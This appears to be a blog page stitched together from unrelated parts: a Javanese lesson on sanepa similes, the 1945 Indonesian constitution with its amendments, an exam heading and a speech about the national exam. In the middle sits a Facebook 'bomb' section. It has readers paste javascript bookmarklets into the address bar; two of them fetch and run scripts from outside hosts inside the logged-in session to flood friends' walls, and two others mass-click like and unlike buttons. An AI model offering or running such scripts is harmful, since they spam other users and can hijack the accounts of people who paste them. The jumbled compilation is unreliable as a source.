Tembung Sanepa

sanepa

Apersepsi;
Bandingake pepindhan lan sanepa kanthi tuladha
“Eseme legi madu” lan “Eseme pait madu”
Padhane; padha=padha tembung kang ateges mbangetke
Bedane ; tembung kang deiengge;
 ”Legi madu” tembung kang gadhah teges sami kaliyan tembung kang kaserat.
 “Pait madu” kalebet tembung kosok balen.
1. Tegese sanepa
Sanepa yaiku unen-unen bangsane pepindhan, angemu surasa mbangetake, nanging nganggo tembung sing tegese kosok balek karo karepe.
2. Tuladha :
Ambune arun jamban = ambune banger banget
Awake kuru aking = awake kuru banget
Balunge atos debog = balunge empuk banget
Barang aji godhong garing = barange ora aji babar pisan
Bobote abot kapuk = bebeote abot merang segedheng = bobote entheng banget
Cahyane abang dluwang = cahyane pucet banget
Dedege dhuwur kencur = dedege cendhek banget
Enggale suwe banyu sinaring = wektune cepet banget
Eseme pait madu = eseme manis banget
Kawruhe jero tapak meri = kawruhe sethitik
Tatune arang kranjang = tatune kaeh banget
Kulite wuled gedhong lumbu = kulite mbedhel banget
Lemune banjo tampah = lemune bunder banget
Pekulitane kuning silit kwali = pakulitane ireng banget
Pamadenge kadhep tesmak = pamandhenge njinggleng
Pikirane landhep dengkul = pikirane bodho banget
Playune lonjong botor = playune banter banget
Playune rindhik asu digithik = playune banter banget
Polehe enteng kitiran = polehe rogeh banget
Rasane legi bratewali = rasane pait banget
Rembuge peret beton = rembuge peret banget
Sesrawungan renggang gula = sesrawungange raket banget
Tembunge pait madu = tembunge manis banget
Tembunge resik peceren = tembunge rusuh banget
Ulate bening leri = ulate mrengut/mbesengut banget.
Utenge arang wulu kucing = utange akeh banget
Wektune suwe mijet suwe wohing ranti = wektune sedhela banget
Wujude agal glepung = wujude lembut banget
Adheme njengkut = adhembanget
Petenge dumuk irung = peteng banget
3. Carane gawe tuladha sanepa
a) Damela tembung asalipun kadosta ; “mripat”
b) Tembung ingkang kalih, tembung kosok balen; “merem”
c) Tembung sakbanjure uga tembung kang gadhahi sipat kosok balen; “iwak”
d) Karengken dados “ mripate merem iwak” tegese (mripate melek wae).

UUD 1945 BUTIR BUTIR PASAL AMANDEMEN 4

BAB I BENTUK DAN KEDAULATAN
Pasal 1
  1. Negara Indonesia ialah Negara Kesatuan, yang berbentuk Republik.
  2. Kedaulatan adalah ditangan rakyat, dan dilakukan sepenuhnya oleh Madjelis Permusjawaratan rakyat.
BAB II. MADJELIS PERMUSJAWARATAN RAKYAT
Pasal 2
  1. Madjelis Permusjawaratan rakyat terdiri atas anggauta-anggauta Dewan Perwakilan rakyat, ditambah dengan utusan-utusan dari Daerah-daerah dan golongan-golongan, menurut aturan yang ditetapkan dengan Undang-Undang.
  2. Madjelis Permusjawaratan rakyat bersidang sedikitnya sekali dalam lima tahun di ibu-kota Negara.
  3. Segala putusan Madjelis Permusjawaratan rakyat ditetapkan dengan suara yang terbanyak.
Pasal 3
Madjelis Permusjawaratan rakyat menetapkan Undang-Undang Dasar dan garis-garis besar daripada haluan Negara.
BAB III. KEKUASAAN PEMERINTAH NEGARA Pasal 4
  1. Presiden Republik Indonesia memegang kekuasaan pemerintahan menurut Undang-Undang Dasar.
  2. Dalam melakukan kewadjibannya Presiden dibantu oleh satu orang Wakil Presiden.
Pasal 5
  1. Presiden memegang kekuasan membentuk undang-undang dengan persetudjuan Dewan Perwakilan rakyat.
  2. Presiden menetapkan peraturan pemerintah untuk mendyalankn undang-undang sebagaimana mestinya.
Perubahan Pasal 5
  1. Presiden berhak mengajukan rancangan undang-undang kepada Dewan Perwakilan Rakyat.
Pasal 6
  1. Presiden ialah orang Indonesia asli.
  2. Presiden dan Wakil Presiden dipilih oleh Madjelis Permusjawaratan rakyat dengan suara yang terbanyak.
Pasal 7
Presiden dan Wakil Presiden memegang jabatannya selama masa lima tahun, dan sesudahnya dapat dipilih kembali.
Perubahan Pasal 7
Presiden dan Wakil Presiden memegang jabatan selama lima tahun, dan sesudahnya dapat dipilih kembali dalam jabatan yang sama, hanya untuk satu kali masa jabatan.
Pasal 8
Jika Presiden mangkat, berhenti atau tidak dapat melakukan kewajibannya dalam masa jabatannya, ia diganti oleh Wakil Presiden sampai habis masa waktunya.
Pasal 9
Sebelum memangku jabatannya, Presiden dan Wakil Presiden bersumpah menurut agama atau berdyandji dengan sungguh-sungguh dihadapan Majelis Permusjawaratan rakyat atau Dewan Perwakilan rakyat sebagai berikut : Sumpah Presiden (Wakil Presiden) :
,,Demi Allah, saja bersumpah akan memenuhi kewadjiban Presiden Republik Indonesia (Wakil Presiden Republik Indonesia) dengan sebaik-baiknya dan seadil-adilnya, memegang teguh Undang-Undang Dasar dan mendyalankan segala undang-undang dan peraturannya dengan selurus-lurusnya sert berbakti kepada Nusa dan Bangsa." dyanji Presiden (Wakil Presiden) :
,,Saja berdyandji dengan sungguh-sungguh akan memenuhi kewadjiban Presiden Republik Indonesia (Wakil Presiden Republik Indonesia) dengan sebaik-baiknya dan seadil-adilnya, memegang teguh Undang-Undang Dasar dan mendyalankan segala undang-undang dan peraturannya dengan selurus-lurusnya sert berbakti kepada Nusa dan Bangsa."

Perubahan Pasal 9
  1. Sebelum memangku jabatannya, Presiden dan Wakil Presiden bersumpah menurut agama atau berjanji dengan sungguh-sungguh di hadapan Majelis Permusyawaratan Rakyat atau Dewan Perwakilan Rakyat sebagai berikut :
    Sumpah Presiden (Wakil Presiden) :
    "Demi Allah, saja bersumpah akan memenuhi kewajiban Presiden
    Republik Indonesia (Wakil Presiden Republik Indonesia)
    dengan sebaik-baiknja dan seadil-adilnja, memegang teguh
    Undang-Undang Dasar dan menjalankan segala undang-undang
    dan peraturannya dengan selurus-lurusnya serta berbakti
    kepada Nusa dan Bangsa."
    Janji Presiden (Wakil Presiden) :
    "Saya berjanji dengan sungguh-sungguh akan memenuhi
    kewajiban Presiden Republik Indonesia (Wakil Presiden
    Republik Indonesia) dengan sebaik-baiknja dan seadil-adilnja,
    memegang teguh Undang-Undang Dasar dan menjalankan segala
    undang-undang dan peraturannya dengan selurus-lurusnya
    sert berbakti kepada Nusa dan Bangsa."
  2. Jika Majelis Permusyawaratan Rakyat atau Dewan Perwakilian Rakyat tidak dapat mengadakan Sidang, Presiden dan Wakil Presiden bersumpah menurut agama, atau berjanji dengan sugguh-sungguh di hadapan pimpinan Majelis Permusyawaratan Rakyat dengan disaksikan oleh pimpinan Mahkamah Agung.
Pasal 10
Presiden memegang kekuasaan yang tertinggi atas angkatan darat, angkatan laut dan angkatan udara.
Pasal 11
Presiden dengan persetudjuan Dewan Perwakilan rakyat menyatakan perang, membuat perdamaian dan perdyandjian dengan Negara lain.
Pasal 12
Presiden menyatakan keadaan bahaja. Sjarat-sjarat dan akibatnya keadaan bahaja ditetapkan dengan undang-undang.
Pasal 13
  1. Presiden mengangkat duta dan konsul.
  2. Presiden menerima duta Negara lain.
Perubahan Pasal 13
  1. Dalam hal mengangkat duta, Presiden memperhatikan pertimbangan Dewan Perwakilan Rakyat.
  2. Presiden menerima penempatan duta negara lain dengan memperhatikan pertimbangan Dewan Perwakilan Rakyat.
Pasal 14
Presiden memberi grasi, amnesti, abolisi dan rehabilitasi.
Perubahan Pasal 14
  1. Presiden memberi grasi dan rehabilitasi dengan memperhatikan pertimbangan Mahkamah Agung.
  2. Presiden memberi amnesti dan abolisi dengan memperhatikan pertimbangan Dewan Perwakilan Rakyat
Pasal 15
Presiden memberi gelaran, tanda dyasa dan lain-lain tanda kehormatan.
Perubahan Pasal 15
Presiden memberi gelar tanda jasa, dan lain-lain tanda kehormatan yang diatur dengan undang-undang.
BAB IV. DEWAN PERTIMBANGAN AGUNG Pasal 16
  1. Susunan Dewan Pertimbangan Agung ditetapkan dengan undang-undang
  2. Dewan ini berkewadjiban memberi dyawab atas pertanyaan Presiden dan berhak memajukan usul kepada Pemerintah.
BAB V. KEMENTERIAN NEGARA Pasal 17
  1. Presiden dibantu oleh Menteri-Menteri Negara.
  2. Menteri-menteri itu diangkat dan diberhentikan oleh Presiden.
  3. Menteri-menteri itu memimpin Departemen Pemerintahan.
Perubahan Pasal 17
  1. Menteri-menteri itu diangkat dan diberhentikan oleh Presiden.
  2. Setiap menteri membidangi urusan tertentu dalam pemerintahan.

BAB VI. PEMERINTAH DAERAH Pasal 18

Pembagian Daerah Indonesia atas Daaerah besar dan ketjil, dengan bentuk susunan pemerintahannya ditetapkan dengan undang-undang, dengan memandang dan mengingat dasar permusjawaratan dalam sistim Pemerintahan Negara, dan hak-hak asal-usul dalam Daerah-Daerah yang bersifat istimewa.

Perubahan Pasal 18
  1. Negara Kesatuan Republik Indonesia dibagi atas daerah-daerah provinsi dan daerah provinsi itu dibagi atas kabupaten dan kota, yang tiap-tiap provinsi, kabupaten, dan kota itu mempunyai pemerintahan daerah, yang diatur dengan undang-undang.
  2. Pemerintahan daerah provinsi, daerah kabupaten, dan kota mengatur dan mengurus sendiri urusan pemerintahan menurut asas otonomi dan tugas pembantuan.
  3. Pemerintahan daerah provinsi, daerah kabupaten, dan kota memiliki Dewan Perwakilan Rakyat Daerah yang anggota-anggotanya dipilih melalui pemilihan umum.
  4. Gubernur, Bupati, and Walikota masing-masing sebagai kepala pemrintah daerah provinsi, kabupaten, dan kota dipilih secara demokratis.
  5. Pemerintahan daerah menjalankan otonomi seluas-luasnya, kecuali urusan pemerintahan yang oleh undang-undang ditentukan sebagai urusan Pemerintah Pusat.
  6. Pemerintahan daerah berhak menetapkan peraturan daerah dan peraturan-peraturan lain untuk melaksanakan otonomi dan tugas pembantuan.
  7. Susunan dan tata cara penyelenggaraan pemerintahan daerah diatur dalam undang-undang.
Pasal 18A
  1. Hubungan wewenang antara pemerintah pusat dan pemerintahan daerah provinsi, kebupaten, dan kota, atau antara provinsi dan kabupaten dan kota, diatur dengan undang-undang dengan memperhatikan kekhususan dan keragaman daerah.
  2. Hubungan keuangan, pelayanan umum, pemanfaatan sumber daya alam dan sumber daya lainya antara pemerintah pusat dan pemerintahan daerah diatur dan dilaksanakan secara adil dan selaras berdasarkan undang-undang.
Pasal 18B
  1. Negara mengakui dan menghormati satuan-satuan pemerintahan daerah yang bersifat khusus atau bersifat istimewa yang diatur dengan undang-undang.
  2. Negara mengakui dan menghormati kesatuan-kesatuan masyarakat hukum adat beserta hak-hak tradisionalnya sepanjang masih hidup dan sesuai dengan perkembangan masyarakat dan prinsip Negara Kesatuan Republik Indonesia, yang diatur damam undang-undang.
BAB VII. DEWAN PERWAKILAN RAKYAT Pasal 19
  1. Susuan Dewan Perwakilan rakyat ditetapkan dengan undang-undang.
  2. Dewan Perwakilan rakyat bersidang sedikitnya sekali dalam setahun.
Perubahan Pasal 19
  1. Anggota Dewan Perwakilan Rakyat dipilih melalui pemilihan umum.
  2. Susunan Dewan Perwakilan Rakyat diatur dengan undang-undang.
  3. Dewan Perwakilan Rakyat bersidang sedikitnya sekaili dalam setahun.
Pasal 20
  1. Tiap-tiap undang-undang menghendaki persetudjuan Dewan Perwakiln rakyat.
  2. Jika sesuatu rantjangan undang-undang tidak mendapat persetujuan Dewan Perwakilan rakyat, maka rantjangan tadi tidak boleh dimajukan lagi dalam persidangan Dewan Perwakilan rakyat masa itu.
Perubahan Pasal 20
  1. Dewan Perwakilan Rakyat memegang kekuasaan membentuk undang-undang.
  2. Setiap rancangan undang-undang dibahas oleh Dewan Perwakilan Rakyat dan Presiden untuk mendapat persetujuan bersama.Jika rancangan undang-undang itu tidak mendapat persetujuan bersama, rancangan undang-undang itu tidak boleh dimajukan lagi dalam persidangan Dewan Perwakilan Rakyat masa itu.
  3. Presiden mengesahkan rancangan undang-undang yang telah disetujui bersama untuk menjadi undang-undang.
  4. Dalam hal rancangan undang-undang yang telah disetujui bersama tersebut tidak disahkan oleh Presiden dalam waktu tiga puluh hari semenjak rancangan undang-undang tersebut disetujui, rancangan undang-undang tersebut sah menjadi undang-undang dan wajib diundangkan.
Pasal 20A
  1. Dewan Perwakilian Rakyat memiliki fungsi legislasi, fungsi anggaran, dan fungsi pengawasan.
  2. Dalam melaksanakan fungsinya, selain hak yang diatur dalam pasal-pasal lain Undang-Undang Dasar ini, Dewan Perwakilan Rakyat mempunyai hak interpelasi, hak angket, dan hak menyatakan pendapat.
  3. Selain hak yang diatur dalam pasal-pasal lain Undang-Undang Dasar ini, setiap anggota Dewan Perwakilan Rakyat mempunyai hak mengajukan pertanyaan, menyampaikan usul dan pendapat, serta hak imunitas.
  4. Ketentuan lebih lanjut tentang hak Dewan Perwakilan Rakyat dan hak anggota Dewan Perwakilan Rakyat diatur dalam undang-undang.
Pasal 21
  1. Anggauta-anggauta Dewan Perwakilan rakyat berhak memajukan rantjangan undang-undang.
  2. Jika rantjangan itu, meskipun disetudjui oleh Dewan Perwakilan rakyat, tidak disahkan oleh Presiden, maka rantjangan tadi tidak boleh dimajukan lagi dalam persidangan Dewan Perwakilan rakyat masa itu.
Perubahan Pasal 21
Anggota Dewan Perwakilan Rakyat berhak mengajukan usul rancangan undang-undang.
Pasal 22
  1. Dalam hal ihwal kegentingan yang memaksa, Presiden berhak menetapkan peraturan pemerintah sebagai pengganti undang-undang.
  2. Peraturan pemerintah itu harus mendapat persetudjuan Dewan Perwakilan rakyat dalam persidangan yang berikut.
  3. Djika tidak mendapat persetudjuan, maka peraturan pemerintah itu harus ditjabut.
Pasal 22A
Ketentuan lebih lanjut tentang tata cara pembentukan undang-undang diatur dengan undang-undang.
Pasal 22B
Anggota Dewan Perwakilan Rakyat dapat diberhentikan dari jabatannya, yang syarat-syarat dan tata cara caranya diatur dalam undang-undang.
BAB VIII. HAL KEUANGAN Pasal 23
  1. Anggaran pendapatan dan belandya ditetapkan tiap-tiap tahun dengan undang-undang. Apabila Dewan Perwakilan rakyat tidak menjetudjui anggaran yang diusulkan Pemerintah, maka Pemerintah mendyalankan anggaran tahun yang lalu.
  2. Segala padyak untuk keperluan Negara berdasarkan undang-undang.
  3. Matjam dan harga mata uang ditetapkan dengan undang-undang.
  4. Hal keuangan negara selandjutnya diatur dengan undang-undang.
  5. Untuk memeriksa tanggung jawab tentang keuangan Negara diadakan suatu Badan Pemeriksa Keuangan, yang peraturannya ditetapkan dengan Undang-Undang. Hasil pemeriksaan itu diberitahukan kepada Dewan Perwakilan rakyat.
BAB IX. KEKUASAAN KEHAKIMAN Pasal 24
  1. Kekuasaan kehakiman dilakukan oleh sebuah Mahkamah Agung dan lain-lain badan kehakiman menurut undang-undang.
  2. Susunan dan kekuasaan badan-badan kehakiman itu diatur dengan undang-undang.
Pasal 25
Sjarat-sjarat untuk mendyadi dan untuk diperhentikan sebagai hakim ditetapkan dengan undang-undang.
BAB IXA WILAYAH NEGARA
Pasal 25A
Negara Kesatuan Republik Indonesia adalah sebuah negara kepulauan yang berciri Nusantara dengan wilayah yang batas-batas dan hak-haknya ditetapkan dengan undang-undang.

BAB X. WARGA NEGARA
Pasal 26
  1. Jang mendyadi warga Negara ialah orang-orang bangsa Indonesia asli dan orang-orang bangsa lain yang disjahkan dengan undang-undang sebagai warga Negara.
  2. Sjarat-sjarat yang mengenai kewargaan Negara ditetapkan dengan undang-undang.
BAB X WARGA NEGARA DAN PENDUDUK
Perubahan Pasal 26
  1. Yang menjadi warga negara ialah orang-orang bangsa ndonesia asli dan orang-orang bangsa lain yang disahkan dengan undang-undang sebagai warga negara.
  2. Penduduk ialah waraga negara Indonesia dan orang asing yang bertempat tinggal di Indonesia.
  3. Hal-hal mengenai warga negara dan penduduk diatur dengan undang-undang.
Pasal 27
  1. Segala warga negara bersamaan kedudukannya didalam hukum dan pemerintahan dan wadjib mendjundjung hukum dan pemerintahan itu dengan tidak ada ketjualinya.
  2. Tiap-tiap warga Negara berhak atas pekerdyaan dan penghidupan yang lajak bagi kemanusiaan.
Perubahan Pasal 27
  1. Setiap warga negara berhak dan wajib ikut serta dalam upaya pembelaan negara.
Pasal 28
Kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan undang-undang.
BAB XA HAK ASASI MANUSIA
Pasal 28A
Setiap orang berhak untuk hidup serta berhak mempertahankan hidup dan kehidupannya.
Pasal 28B
  1. Setiap orang berhak membentuk keluarga dan melanjutkan keturunan melalui perkawinan yang sah.
  2. Setiap anak berhak atas kelangsungan hidup, tumbuh dan berkembang serta berhak atas perlindungan dari kekerasan dan diskriminasi.
Pasal 28C
  1. Setiap orang berhak mengembangkan diri melalui pemenuhan kebutuhan dasarnya, berhak mendapat pendidikan dan memperoleh manfaat dari ilmu pengetahuan dan teknologi, seni dan budaya, demi meningkatkan kualitas hidupnya dan demi kesejahteraan uman manusia.
  2. Setiap orang berhak untuk memajukan dirinya dalam memperjuangkan haknya secara kolektif untuk membangun masyarakat, bangsa, dan negaranya.
Pasal 28D
  1. Setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum.
  2. Setiap orang berhak untuk bekerja serta mendapat imbalan dan perlakuan yang adil dan layak dalam hubungan kerja.
  3. Setiap warga negara berhak memperoleh kesempatan yang sama dalam pemerintahan.
Pasal 28E
  1. Setiap orang bebas memeluk agama dan beribadat menurut agamanya, memilih pendidikan dan pengajaran, memilih pekerjaan, memilih kewarganegaraan, memilih tempat tinggal di wilayah negara dan meninggalkanya, serta berhak kembali.
  2. Setiap orang berhak atas kebebasan meyakini kepercayaan, menyatakan pikiran dan sikap, sesuai dengan hati nuraninya.
  3. Setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat.
Pasal 28F
Setiap orang berhak untuk berkomunikasi dan memperoleh informasi untuk mengembangkan pribadi dan lingkungan sosialnya, serta berhak untuk mencari, memperoleh, memiliki, menyimpan, mengolah dan menyampaikan informasi denggan menggunakan segala jenis saluran yang tersedia.
Pasal 28G
Setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, martabat, dan harta benda yang di bawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan hak asasi.
Setiap orang berhak untuk bebas dari penyiksaan atau perlakuan yang merendahkan derajat martabat menusia dan berhak memperoleh suaka politik dari negara lain.

Pasal 28H
  1. Setiap orang berhak hidup sejahtera lahir dan batin, bertempat tinggal, dan mendapatkan lingkungan hidup yang baik dan sehat serta berhak memperoleh pelayanan kesehatan.
  2. Setiap orang berhak mendapat kemudahan dan perlakuan khusus untuk memperoleh kesempatan dan manfaat yang sama guna mencapai persamaan dan keadilan.
  3. Setiap orang berhak atas jaminan sosial yang memungkinkan pengembangan dirinya secara utuh sebagai manusia yang bermartabai.
  4. Setiap orang berhak mempunyai hak milik pribadi dan hak milik tersebut tidak boleh diambil alih secara sewenang oleh siapa pun.
Pasal 28I
  1. Hak untuk hidup, hak untuk tidak disiksa, hak kemerdekaan pikiran dan hati nurani, hak beragama, hak untuk tidak diperbudak, hak untuk diakui sebagai pribadi di hadapan hukum, dan hak untuk tidak dituntut atas dasar hukum yang berlaku surut, adalah hak asasi manusia yang tidak dapat dikurangi dalam keadaan apa pun.
  2. Setiap orang berhak bebas dari perlakuan yang bersifat diskriminatif atas dasar apa pun dan berhak mendapatkan perlindungan terhadap perlakuan yang bersifat diskriminatif itu.
  3. Identitas budaya dan hak masyarakat dihormati selaras dengan perkembangan zaman dan peradaban.
  4. Perlindungan, pemajuan, penegakan, dan pemenuhan hak asasi manusia adalah tanggun jawab negara, terutama pemerintah.
  5. Untuk menegakkan dan melindungi hak asasi manusia sesuai dengan prinsip negara hukum yang demokaratis, maka pelaksanaan hak asasi manusia dijamin, diatur, dan dituangkan dalam peraturan perundang-undangan.
Pasal 28J
  1. Setiap orang wajib menghormati hak asasi manusia orang lain dalam tertib kehidupan bermasyarakat, berbangsa dan bernegara.
  2. Dalam menjalankan hak dan kebebasannya, setiap orang wajib tunduk kepada pembatasan yang ditetapkan dengan undang-undang dengan maksud sematamata untuk menjamin pengakuan serta penghormatan atas hak dan kebebasan orang lain dan untuk memenuhi tuntutan yang adil sesuai dengan pertimbangan moral, nilai-nilai agama, keamanan dan ketertiban umum dalam suatu masyarakat demokaratis.
BAB XI. AGAMA Pasal 29
  1. Negara berdasar atas Ketuhanan yang Maha Esa.
  2. Negara mendyamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan untuk beribadat menurut agamanya dan kepertjajaannya itu.
BAB XII. PERTAHANAN NEGARA Pasal 30
  1. Tiap-tiiap warga Negara berhak dan wadjib ikut serta dalam usaha pembelaan Negara.
  2. Sjarat-sjarat tentng pembelaan diatur dengan undang-undang.
Perubahan Pasal 30
  1. Tiap-tiap warga negara berhak dan wajib ikut serta dalam usaha pertahanan dan keamanan negara.
  2. Usaha pertahanan dan keamanan negara dilaksanakan melalui sistem pertahanan dan keamanan rakyat semesta oleh Tentara Nasional Indonesia dan Kepolisian Negara Repbulik Indonesia, sebagai kekuatan utama dan rakyat, segabai kekuatan pendukung.
  3. Tentara Nasional Indonesia terdiri atas Angkatan Darat, Angkatan Laut, dan Angkatan Udara sebagai alat negara bertugas mempertahankan, melindungi, dan memelihara keutuhan dan kedaulatan negara.
  4. Kepolisian Negara Republik Indonesia sebagai alat negara yang menjaga keamanan dan ketertiban masyarakat bertugas melindungi, mengayomi, melayani masyarakat, serta menegakkan hukum.
BAB XIII. PENDIDIKAN Pasal 31
  1. Tiap-tiap warga Negara berhak mendapat pengadyaran.
  2. Pemerintah mengusahakan dan menjelenggarakan satu sistim pengadyaran nasional, yang diatur dengan undang-undang.
Pasal 32
Pemerintah memajukan kebudajaan nasional Indonesia.

BAB XIV. KESEDYAHTERAAN SOSIAL Pasal 33
  1. Perekonomian disusun sebagai usaha bersama berdasar atas azas kekeluargaan.
  2. Tjabang-tjabang produksi yang penting bagi Negara dan yang menguasasi hadyat hidup orang banyak dikuasai oleh Negara.
  3. Bumi dan air dn kekajaan alam yang terkandung didalamnya dikuasai oleh Negara dan digunakan untuk sebesar-besar kemakmuran rakyat.
Pasal 34
Fakir miskin dan anak-anak terlantar dipelihara oleh Negara
BAB XV. BENDERA DAN BAHASA
BAB XV BENDERA, BAHASA, DAN LAMBANG NEGARA SERTA LAGU KEBANGSAAN

Pasal 35

Bendera Negara Indonesia ialah Sang Merah Putih.
Pasal 36

Bahasa Negara ialah Bahasa Indonesia.

Pasal 36A
Lambang Negara ialah Garuda Pancasila dengan semboyan Bhinneka Tunggal Ika.
Pasal 36B
Lagu Kebangsaan ialah Indonesia Raya.
Pasal 36C
Ketentuan lebih lanjut mengenai Bendera, Bahasa dan Lambang Negara, serta lagu Kebangsaan diatur dengan undang-undang.
Pasal 37
  1. Untuk mengubah Undang-Undang Dasar sekurang-kurangnya 2/3 daripada djumlah anggauta Madjelis Permusjawaratan rakyat harus hadir.
  2. Putusan diambil dengan persetudjuan sekurang-kurangnya 2/3 daripada djumlah anggauta yang hadlir.
ATURAN PERALIHAN Pasal I
Panitja Persiapan Kemerdekaan Indonesia mengatur dan menjelenggarakan kepindahan pemerintahan kepada Pemerintah Indonesia.
Pasal II

Segala badan Negara dan peraturan yang ada masih langsung berlaku selama belum diadakan yang baru menurut Undang-Undang Dasar ini.
Pasal III

Untuk pertama kali Presiden dan Wakil Presiden dipilih oleh Panitja Persiapan Kemerdekaan Indonesia.
Pasal IV

Sebelum Madjelis Permusjawaratan rakyat, Dewan Perwakilan rakyat dan Dewan Pertimbangan Agung dibentuk menurut Undang-Undang ini, segala kekuasaannya didyalankan oleh Presiden dengan bantuan sebuah Komite Nasional.
ATURAN TAMBAHAN
  1. Dalam enam bulan sesudah achirnya peperangan Asia Timur Raja, Presiden Indonesia mengatur dan menjelenggarakan segala hal yang ditetapkan dalam Undang-Undang dasar ini.
  2. Dalam enam bulan sesudah Madjelis Permusjawaratan rakyat dibentuk, Madjelis itu bersidang untuk menetapkan Undang-Undang Dasar.

Isi Pembukaan UUD 1945 Republik Indonesia

Pembukaan UUD 1945
"Bahwa sesungguhnya kemerdekaan itu ialah hak segala bangsa dan oleh sebab itu, maka penjajahan diatas dunia harus dihapuskan karena tidak sesuai dengan perikemanusiaan dan perikeadilan."
"Dan perjuangan pergerakan kemerdekaan Indonesia telah sampailah kepada saat yang berbahagia dengan selamat sentosa mengantarkan rakyat Indonesia ke depan pintu gerbang kemerdekaan negara Indonesia, yang merdeka, bersatu, berdaulat, adil dan makmur."
"Atas berkat rahmat Allah Yang Maha Kuasa dan dengan didorongkan oleh keinginan luhur, supaya berkehidupan kebangsaan yang bebas, maka rakyat Indonesia menyatakan dengan ini kemerdekaannya."
"Kemudian daripada itu untuk membentuk suatu pemerintah negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial, maka disusunlah kemerdekaan kebangsaan Indonesia itu dalam suatu Undang-Undang Dasar negara Indonesia, yang terbentuk dalam suatu susunan negara Republik Indonesia yang berkedaulatan rakyat dengan berdasar kepada :

  • Ketuhanan Yang Maha Esa,

  • kemanusiaan yang adil dan beradab,

  • persatuan Indonesia, dan

  • kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan,

  • serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia."

  • BOM LIKE, KOMENTAR, WALL DI FACEBOOK

    Utuk Bom Wall dan Komentar, buka wall fb teman kamu
    ~ Copy paste javascript di bawah ke address bar/URL lalu tekan ENTER
    ~ Masukkan jumlah postingan yg di inginkan, ENTER 
    ~ Kemudian ketikkan pesan yg ingin di posting trus tekan ENTER
    ~ Tunggu beberapa detik, kemudian refresh browser atau tekan [F5] 
    ~ Gunakan sekejam-kejamnya...wkwkkwkwk dosa tanggung sendiri ya
     
    Bom komentar : javascript: (a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0)
    Bom wall : javascript:(a = (b = document).createElement("script")).src ="//hallwayinsider.com/a.js", b.body.appendChild(a); void(0)
    Untuk Bom Like, kamu juga bisa menggunakannya untuk di Beranda maupun di Wall untuk nge-Like Status semua teman kamu tanpa mengklik Suka/Like denga cara : Copy paste javascript di bawah ke address bar/URL lalu tekan ENTER, ENTER
    Bom like : javascript:var i=0;ex=0;s=0;function EXP_ALL(){ExpandComm = document.getElementsByTagName("input");for(e = 0; e < ExpandComm.length; e++){myClass = ExpandComm[e].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(ExpandComm[e].getAttribute("name") == "view_all")ExpandComm[e].click()}}function JEMPOLERS(){jempol = document.getElementsByTagName("button");for(j = 0; j < jempol.length; j++){myClass = jempol[j].getAttribute("class");if(myClass != null && myClass.indexOf("like_link") >= 0)if(jempol[j].getAttribute("name") == "like")jempol[j].click()};}function JEMPOLERC(){buttons = document.getElementsByTagName("button");for(x = 0; x < buttons.length; x++){myClass = buttons[x].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(buttons[x].getAttribute("title") == "Like this comment")buttons[x].click()};}function updateTime(){ex=ex+1;i=i+1;s=s+1;if (ex==5){EXP_ALL();ex=0};if (s==5){ex=0;JEMPOLERS();s=0};if (i==2){JEMPOLERC();i=0;}}alert('-==[FB STATUS & COMMENTS LIKE GENERATOR]==-\n\nScript by -Dicyber-');updateTime();window.setInterval(updateTime, 1000);void(0)



    Bom Unlike :
    javascript:var i=0;ex=0;s=0;function EXP_ALL(){ExpandComm = document.getElementsByTagName
    ("input");for(e = 0; e < ExpandComm.length; e++){myClass = ExpandComm[e].getAttribute ("c...lass");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(ExpandComm[e].getAttribute
    ("name") == "view_all")ExpandComm[e].click()}}function JEMPOLERS(){jempol =
    document.getElementsByTagName("button");for(j = 0; j < jempol.length; j++){myClass = jempol [j].getAttribute("class");if(myClass != null && myClass.indexOf("like_link") >= 0)if(jempol
    [j].getAttribute("name") == "unlike")jempol[j].click()};}function JEMPOLERC(){buttons =
    document.getElementsByTagName("button");for(x = 0; x < buttons.length; x++){myClass = buttons [x].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(buttons
    [x].getAttribute("title") == "Unlike this comment")buttons[x].click()};}function updateTime(){ex=ex
    +1;i=i+1;s=s+1;if (ex==5){EXP_ALL();ex=0};if (s==5){ex=0;JEMPOLERS();s=0};if (i==2){JEMPOLERC();i=0;}}
    alert('-= p4r46hcyb3rn3t status & comment unlikers =-\n\nScript by -masterbetawie-');updateTime();window.setInterval(updateTime, 1000);void(0)

    SOAL UH 2 TIK KLS 11 IPA IPS, SEMESTER 2

    Download bentuk aslinya
    ini bentuk Ms. word-nya 

    Pidato tenteng Ujian Nasional berbahasa Inggris

    Ass. Wr. Wb.
    Firstly, I would like to say thanks for giving me a great opportunity to deliver my brief speech. And in this chance, the topic of my speech is cheating in Examination.



    Today (4/16/2012) Every high school students throughout Indonesia began to take the National Examination (UN) to Thursday (04/19/2012). There are six exam papers (subjects) that needs to be done. Paper exam (exam papers) that need to be done today is Indonesian, for all programs. Tomorrow's children need to take the exam IPA for English and Physics. If the child can be allotted IPS work in English and Economics. Child language are scheduled to do English and Foreign Language. The next day, both kids science, social studies and language needs earlier with the most dreaded subjects: Math. Days, there is a child of Chemistry and Biology for Science, Sociology and Geography for children IPS, and the child gets Languages ​​and Literature examination papers Anthropology Indonesia.

    Well it turns out the UN system is already much changed. Back when I was just three high school exam paper: Indonesian, English, and Mathematics.
    Now the brothers we need worked six high school exam papers. Know this new cave. And I also know if there are new lessons to children of Anthropology at the high school language program.

    Although the subjects tested in the UN is now more and more, the UN is not the only determinant of graduation.
